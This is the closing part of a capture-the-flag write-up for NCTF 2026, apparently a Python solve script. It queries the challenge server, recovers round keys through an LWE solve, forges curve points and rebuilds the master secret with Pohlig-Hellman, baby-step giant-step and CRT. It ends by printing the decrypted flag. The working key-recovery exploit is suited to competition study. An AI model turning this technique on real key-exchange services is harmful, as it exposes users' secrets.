def bsgs(base, target, order): if target is None: return 0
m = int(math.isqrt(order) + 1) table = {} cur = None for j in range(m): table[cur] = j cur = point_add(cur, base)
step = point_neg(point_mul(base, m)) gamma = target for i in range(m + 1): j = table.get(gamma) if j is not None: x = i * m + j if x < order: return x gamma = point_add(gamma, step)
raise ValueError("bsgs failed")
def dlog_ph(base, target, order, factors): residues = [] mods = []
for p_str, e in factors.items(): prime = int(p_str) exp = int(e) modulus = prime ** exp sub = order // modulus
g = point_mul(base, sub) h = point_mul(target, sub)
x_mod = bsgs(g, h, modulus) residues.append(x_mod) mods.append(modulus)
x, _ = crt_merge_list(residues, mods) return x
# =========================================================# forge point# =========================================================
def forge_input_for_target_point(target_x, target_y, priv): low = int(priv & ((1 << 256) - 1)) high = int(priv >> 256) offset = ((high << 256) % P)
input_x = low ^^ ((int(target_x) - offset) % P) input_y = low ^^ ((int(target_y) - offset) % P)
assert 0 <= input_x < (1 << 256) assert 0 <= input_y < (1 << 256)
return pack_point_xy(input_x, input_y)
# =========================================================# decrypt# =========================================================
def decrypt_flag(enc_hex, master_sec): key = sha256(str(int(master_sec)).encode()).digest() pt = AES.new(key, AES.MODE_ECB).decrypt(bytes.fromhex(enc_hex)) return unpad(pt, 32)
# =========================================================# main# =========================================================
def load_curves(path="curves.json"): with open(path, "r", encoding="utf-8") as f: curves = json.load(f) return curves
curves = load_curves("curves.json")
prod = 1for c in curves: prod *= int(c["m"])prod_bits = prod.bit_length()logi(f"product bits = {prod_bits}")if prod_bits < 240: logi("warning: product of subgroup orders is < 240 bits")
msg = find_zero_msg()logi(f"zero-byte message = {msg}")
r = remote(HOST, PORT)master_pub, enc_flag_hex = parse_initial_banner(r)
logi(f"master pub = {master_pub}")logi(f"enc flag hex = {enc_flag_hex}")
residues = []mods = []
for ridx, curve in enumerate(curves, 1): logi(f"========== round {ridx} ==========") q_round = read_until_round_q(r) logi(f"round q = {q_round}")
cts = [] for i in range(MAX_MSG): cts.append(do_message_query(r, msg)) if (i + 1) % 10 == 0: logi(f"collected {i+1}/{MAX_MSG}")
_, priv = solve_round_lwe_with_known_q(q_round, cts) logi(f"recovered round priv, bits = {priv.bit_length()}")
crafted = forge_input_for_target_point(curve["x"], curve["y"], priv) resp = do_exchange_query(r, crafted)
if resp == 0: residue = 0 else: qx, qy = unpack_point_int(resp) base = (int(curve["x"]), int(curve["y"])) target = (qx, qy) residue = dlog_ph(base, target, int(curve["m"]), curve["m_factorization"])
residues.append(residue) mods.append(int(curve["m"])) logi(f"residue {ridx}: {residue} (mod {curve['m']})")
master_sec, modulus = crt_merge_list(residues, mods)logi(f"CRT modulus bits = {modulus.bit_length()}")logi(f"candidate master_sec = {master_sec}")
flag = decrypt_flag(enc_flag_hex, master_sec)print(b"[+] decrypted = " + flag)
r.close()"""[*] CRT modulus bits = 357[*] candidate master_sec = 890730085662475963468991308718863549065266023628821661188361629600706537b'[+] decrypted = flag{e2f16e06-96ee-4ca9-b43d-489b953ba63e}'""" NCTF 2026 WriteUp
https://q1uju.cc/posts/nctf2026_writeup/ Some information may be outdated